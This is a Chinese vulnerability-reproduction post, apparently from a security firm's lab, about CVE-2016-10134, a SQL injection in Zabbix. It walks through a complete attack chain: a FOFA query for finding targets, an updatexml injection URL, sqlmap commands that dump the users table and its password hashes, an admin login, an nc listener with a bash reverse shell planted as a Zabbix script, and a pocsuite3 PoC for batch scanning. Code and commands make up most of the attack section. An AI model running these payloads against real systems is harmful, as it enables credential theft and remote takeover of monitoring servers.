0x01 漏洞描述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。Zabbix的latest.php中的toggle_ids[]或jsrpc.php中的profieldx2参数存在sql注入,攻击者可通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
0x02 漏洞复现
漏洞影响:zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3
FOFA:app="ZABBIX-监控系统"
1.输入payload爆出数据库用户名
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
2.使用sqlmap查库、查表、查列、查数据
查所有库:
python3 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" --dbs
查zabbix表:
python3 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" -D zabbix --tables
查users列:
python3 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" -D zabbix -T users --columns
查userid,name,passwd数据:
python3 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" -D zabbix -T users -C userid,name,passwd --dump
3.使用账户名密码登录admin:zabbix
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
4. nc监听7778端口
nc -lnvp 7778
5.Administration→Scripts→Create Script写一个反弹shell的脚本
bash -i >& /dev/tcp/IP/PORT 0>&1
6.Monitoring→Latest data→点击Zabbix server运行脚本,得到一个shell(注:需要在筛选栏host groups选择Zabbix servers才能看到1脚本)
7.使用pocsuite3批量验证1.txt文件中的url是否存在该漏洞,显示一个成功一个失败。
pocsuite3下载地址:https://github.com/knownsec/pocsuite3或公众号回复poc3即可下载
批量验证命令:
python3 cli.py -r pocs/ZABBIX-CVE-2016-10134.py -f 1.txt
POC:
# -*- coding:utf-8 -*-
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):#漏洞信息
vulID = 'CVE-2016-10134'
version = 'zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3'
author = ['ry']
vulDate = '2022-05-06'
createDate = '2022-05-06'
updateDate = '2022-05-06'
references = ['https://www.cnblogs.com/cute-puli/p/15659959.html']
name = 'zabbix SQL'
appPowerLink = 'CVE-2016-10134'
appName = 'zabbix SQL'
appVersion = '2.X,3.X'
vulType = 'sql'
desc = '''
zabbix sql注入
'''
samples = []
install_requires = ['']
def _verify(self):
result = {}
path = "/jsrpc.php"
url = self.url + path
#print(url)
payload = "?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0,md5('wwwq')),0)"
#print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "afece6b64dc8eff8b9bd078a5f" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现-CVE-2016-10134 zabbix sql注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论